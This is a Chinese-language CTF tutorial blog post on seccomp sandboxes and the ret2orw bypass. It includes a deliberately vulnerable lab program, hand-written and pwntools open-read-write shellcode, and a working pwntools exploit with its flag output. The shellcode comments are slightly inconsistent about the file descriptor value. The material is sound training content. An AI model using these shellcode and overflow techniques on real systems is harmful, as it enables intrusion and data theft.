2234 字
11 分钟
Stack-3-2 Defence-Sandbox

%%本节前置Stack-1 Stack-2%%

在上一小节,我们了解了地址随机化的保护措施PIE & ASLR,并且学习了对地址随机化的两种绕过手法:泄漏Leak,和栈上地址部分覆写Partial Overwrite。本小节我们将从系统调用保护的角度介绍一种常见的保护手法:沙箱Sandbox 以及沙箱的基本绕过手法:Return to orw shellcoderet2orw


🛡️ Defence#

📦 Sandbox#

沙盒(英语:sandbox,又译为沙箱)是一种安全机制,为执行中的程序提供隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。沙盒通常严格控制其中的程序所能访问的资源,比如,沙盒可以提供用后即回收的磁盘及内存空间。在沙盒中,网络访问、对真实系统的访问、对输入设备的读取通常被禁止或是严格限制。从这个角度来说,沙盒属于虚拟化的一种。沙盒中的所有改动对操作系统不会造成任何损失。通常,这种技术被计算机技术人员广泛用于测试可能带毒的程序或是其他的恶意代码。现在的集成式防火墙常含有云端沙盒,当本地静态分析无法办别时,就会去云端比对hash值,查看是否有相关情资,若为未发现过的可疑程序,则送入沙盒测试,并记录其行为模式。

沙盒Sandbox一般有软件监狱Jail虚拟机Virtual Machine等实现方法。本质上都是隔离和预防攻击者对程序执行流的恶意利用。在Linux用户态的Pwn利用中,一般采用安全计算机制Secure Computing,简称Seccomp,这是Linux Kernel在2.6.33版本引入的一种简洁优雅的沙箱机制。在编写C语言程序的过程中,可以使用prctl来这一内核级的安全机制,即prctl-seccomp。

prctl-seccomp可以将进程进入到一种安全的运行模式,将部分的系统调用syscall禁用,或者只允许部分的系统调用,这样就可以从内核级别限制syscall的滥用。通过这种方式我们可以防范一些简单的直接getshell的方式。

在严格模式下,进程所允许的系统调用就只有readwriteexitsigreturn

系统调用规则我们可以通过seccomp-tools查看

seccomp-tools dump ./filename

示例程序的沙盒

void sandbox(){
	struct sock_filter filter[] = {
		BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
		BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
		BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
		BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
		BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
		BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
	};
	struct sock_fprog prog = {
		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
		.filter = filter,
	};
	prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
	prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
};

用工具查一下

 seccomp-tools dump ./Lab
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x02 0xc000003e  if (A != ARCH_X86_64) goto 0004
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

可读性还是很强的,从上往下读,简单解释一下:

  • arch != ARCH_X86_64 goto 0004:如果架构不是amd64,跳转到0004SIGKILL杀死进程
  • sys_number != execve goto 0005:如果系统调用号不是0x3B execve,跳转到0005ALLOW继续执行
  • 其余的直接KILL

那么实际上禁用了execve的系统调用,那么我们就不能去Getshell了,因为system的底层也是execve,就会直接被KILL掉。


🗡️ Bypass#

Sandbox防御机制在CTFPwn中主要用于限制ret2shellcode,ret2syscall的利用。在开启了Sandbox保护后,就无法通过Hijack去getshell。那么该怎么做呢?我们打CTF本质是Catch the flag,那么我们直接把Flag读出来当然是可行的

我们把这种利用手法叫作Open Read and Write,简称ORW,即使用open打开flag文件,使用read读入到程序缓冲区,使用write将flag显示在屏幕上。在shellcode的利用中,orw shellcode是最常用的一种code方式。

🧑‍💻 Code2ORW#

Stack-2-2-2中我们介绍过Code2Shell,主要目的是在程序中植入恶意代码去getshell,而我们code2orw的目的自然就是把Flag给读出来。主要利用到openreadwrite系统调用。

我们需要执行三个函数

fd = open("./flag", 0);
read(fd, buf, 0x20);
write(1, buf, 0x20);

我们知道在Linux系统中一切皆可以看成是文件,文件又可分为:普通文件、目录文件、链接文件和设备文件。在操作这些所谓的文件的时候,我们每操作一次就找一次名字,这会耗费大量的时间和效率。所以Linux中规定每一个文件对应一个索引,这样要操作文件的时候,我们直接找到索引就可以对其进行操作了。

文件描述符(file descriptor)就是内核为了高效管理这些已经被打开的文件所创建的索引,其是一个非负整数(通常是小整数),用于指代被打开的文件,所有执行I/O操作的系统调用都通过文件描述符来实现。同时还规定系统刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。这意味着如果此时去打开一个新的文件,它的文件描述符会是3,再打开一个文件文件描述符就是4……

Linux内核对所有打开的文件有一个文件描述符表格,里面存储了每个文件描述符作为索引与一个打开文件相对应的关系,简单理解就是下图这样一个数组,文件描述符(索引)就是文件描述符表这个数组的下标,数组的内容就是指向一个个打开的文件的指针。

也就是说,我们整个orwcode需要进行三次syscall

Step.1 open
rax = 2
rdi => ./flag
rsi = 0
syscall
Step.2 read
rax = 0
rdi = fd
rsi = buf
rdx = nbytes
Step.3 write
rax = 1
rdi = 1
rsi = buf
rdx = nbytes

那么我们可以写出以下的orwcode

mov edx, 0x67616c66;
push rdx;
mov rdi, rsp;
xor esi, esi;
mov eax, 2;
syscall; #open return fd in rax
mov edi, eax;
mov rsi, rsp;
xor eax, eax;
syscall;
xor edi, 2; #3 xor 2 = 1
mov eax,edi;
syscall;
  • mov edx, 0x67616c66;:将flag字符串放入edx
  • push rdx;:将rdx中的内容压入栈中
  • mov rdi, rsp;:将rsp中的指针放入rdi
  • xor esi, esi;:置零esi
  • mov eax, 2;syscall;:设置eax为2,系统调用open("flag", 0)

⚠️ 此时open返回文件描述符,如果是第一次打开外部文件的话fd = 2

  • mov edi, eax;:设置edi为fd
  • xor eax, eax;:置零eax,设置系统调用号
  • mov rsi, rsp;:设置rsirsp栈顶
  • syscall;:系统调用read(3, rsp, 0x67616c66)
  • xor edi, 2;3 xor 2 = 1,设置edi为1
  • mov eax, edi;syscall;:设置eax为1,系统调用write(1, rsp, nbytes)

🎉一个简单的orwcode就编写好了!🎉

🔙 Ret2ORW#

我们由一道实验来讲解ret2orw的基本运用。

#include <linux/filter.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
}



void sandbox(){
        struct sock_filter filter[] = {
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
        BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
        BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
        };
        struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
        .filter = filter,
        };
        prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
        prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
};

void vuln() {
    char buf[0x10];
    printf("%p\n", buf);
    read(0, buf, 0x100);
}

int main() {
    init();
    sandbox();
    vuln();
    return 0;
}

用以下命令编译

gcc -fno-stack-protector -O0 -z execstack Lab-s-3-2-1.c -o Lab

这个实验的沙箱就是我们刚刚看的那个,所以这里直接看程序。

Stack-2-2-2的程序差不多,只不过加入了沙箱,我们同样是向栈上写入shellcode,这里由于禁用了execve,所以不能直接getshell。我们可以直接将我们刚刚的orwcode拿过来用

shellcode = asm(
'''
mov edx, 0x67616c66;
push rdx;
mov rdi, rsp;
xor esi, esi;
mov eax, 2;
syscall; #open return fd in rax
mov edi, eax;
mov rsi, rsp;
xor eax, eax;
syscall;
xor edi, 2; #3 xor 2 = 1
mov eax,edi;
syscall;
'''
)

也可以使用pwntoolsshellcraft模块

shellcode = shellcraft.cat("./flag")

本质上和我们写的orw是差不多的,我们可以看看它生成的orwcode的内容

⚠️ 指定context环境变量避免出现一些奇奇怪怪的错误

   /* push b'./flag\x00' */  
   mov rax, 0x101010101010101  
   push rax  
   mov rax, 0x101010101010101 ^ 0x67616c662f2e  
   xor [rsp], rax  
   /* call open('rsp', 'O_RDONLY', 'rdx') */  
   push SYS_open /* 2 */  
   pop rax  
   mov rdi, rsp  
   xor esi, esi /* O_RDONLY */  
   syscall  
   /* call sendfile(1, 'rax', 0, 0x7fffffff) */  
   mov r10d, 0x7fffffff  
   mov rsi, rax  
   push SYS_sendfile /* 0x28 */  
   pop rax  
   push 1  
   pop rdi  
   cdq /* rdx=0 */  
   syscall

所以EXP如下

from pwn import *
io = process("./Lab")
context(arch="amd64", os="linux")
leakstack = eval(io.recvline().decode().strip())
log.info(f"leakstack: {hex(leakstack)}")
shellcode = asm(shellcraft.cat("./flag"))

payload = cyclic(0x18) + p64(leakstack + 0x20) + shellcode
io.sendline(payload)
io.interactive()

RESULT

 python exp.py

[+] Starting local process './Lab': pid 21322
[*] leakstack: 0x7ffdd2eb00b0
[*] Switching to interactive mode
flag{c4n_y0u_g3t_th3_st4ck_m4gic}

💬 Summarize#

本节我们学习了解了prctl-seccomp的基本信息,和沙箱在pwn题中的运用。了解了ret2orw的基本用法。当然,此处展示的orw还只是最基础的内容,随着学习的深入,我们会了解到更多shellcode的进阶技术。

❔ Challenge#

惯例,我们留下一道题作为本次的作业。

Code2Flag

Just 2 Bytes?!Are u kidding me?Let’s Code 2 flag!

Code2Flag

Stack-3-2 Defence-Sandbox
https://k4per-blog.xyz/posts/stack-3-2-defence-sandbox/
作者
K4per
发布于
2025-05-27
许可协议
CC BY-NC-SA 4.0